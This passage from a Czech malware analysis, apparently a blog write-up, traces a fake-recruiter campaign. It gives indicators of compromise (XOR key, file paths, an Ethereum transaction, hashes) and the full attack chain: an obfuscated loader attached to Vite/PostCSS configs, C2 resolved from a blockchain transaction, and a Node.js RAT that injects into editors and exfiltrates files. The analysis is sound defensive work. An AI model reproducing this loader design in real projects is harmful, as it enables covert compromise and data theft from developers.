XOR klíč druhé větve: YU7m{rE/>|==b>#~
Lokální artefakty
~/.node_modules
~/.node_module
/tmp/.<base64 uživatelského jména>
%LOCALAPPDATA%\Temp\<base64 uživatelského jména>
Ethereum
Tx: 0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Odesílatel: 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
RPC: eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1
Hashe
PDF s přehledem projektu: 1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e
Loader v repozitáři: ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Primární /boot: 950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724
Sekundární /0/boot: 62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828
Dekódovaný primární: aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f
Dekódovaný sekundární: 929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e
Skutečná /init JSON: 574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264
Pole _B: f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3
Rozbalené tělo _B: 624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd
Pole _Z: 7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7
Celý řetězec
falešný profil s nedoložitelnou pozicí ve velké firmě
→ nabídka práce s atraktivní sazbou
→ pozvánka do privátního GitHub repozitáře
→ frontend vygenerovaný v AI builderu jako návnada
→ zkopírovaná historie legitimního projektu jako důvěryhodnost
→ follow-up „spustil jsi to už?"
→ obfuskovaný loader přilepený na Vite a PostCSS config
→ npm run dev
→ dotaz na Ethereum JSON-RPC
→ C2 adresa odvozená z transakce
→ GET /boot a /0/boot
→ dvě obfuskované fáze přes node -e
→ GET /init
→ Node.js RAT verze 260804
→ injektáž do VS Code, Cursoru, Antigravity, Discordu, GitHub Desktopu a npm
→ Socket.IO řídicí kanál na nešifrovaném portu 443
→ schránka, shell, eval, rekurzivní nahrávání adresářů
→ exfiltrace na /u/f
Omezení rozboru
Hlavní payloadČást útoku nebo programu, která nese vlastní akci nebo škodlivý obsah. Více jsem rozbalil staticky, tedy bez spuštění jeho operační části. Popsané příkazy, persistence a formát exfiltrace jsou vyčtené z jeho vlastního kódu, ne pozorované za běhu. Druhou větev /0/body nemám, protože C2Komunikační kanál, přes který útočník řídí napadený systém. Více přestal odpovídat. Tělo persistence _Z zůstává silně obfuskované, i když jeho role a způsob vkládání jsou z hlavního payloadu prokazatelné. Oběť neobsahovala žádná reálná data, peněženky ani přihlašovací údajeÚdaje, kterými se přihlašujete ke službě. Typicky jméno, e-mail, heslo, kód nebo bezpečnostní klíč. Více. Jména účtů na GitHubu, metadataÚdaje o komunikaci nebo souboru, ne nutně samotný obsah. Například čas, odesílatel, příjemce nebo po... Více commitů, jméno na LinkedIn i to, co o sobě útočník tvrdil, může být vymyšlené nebo ukradené.
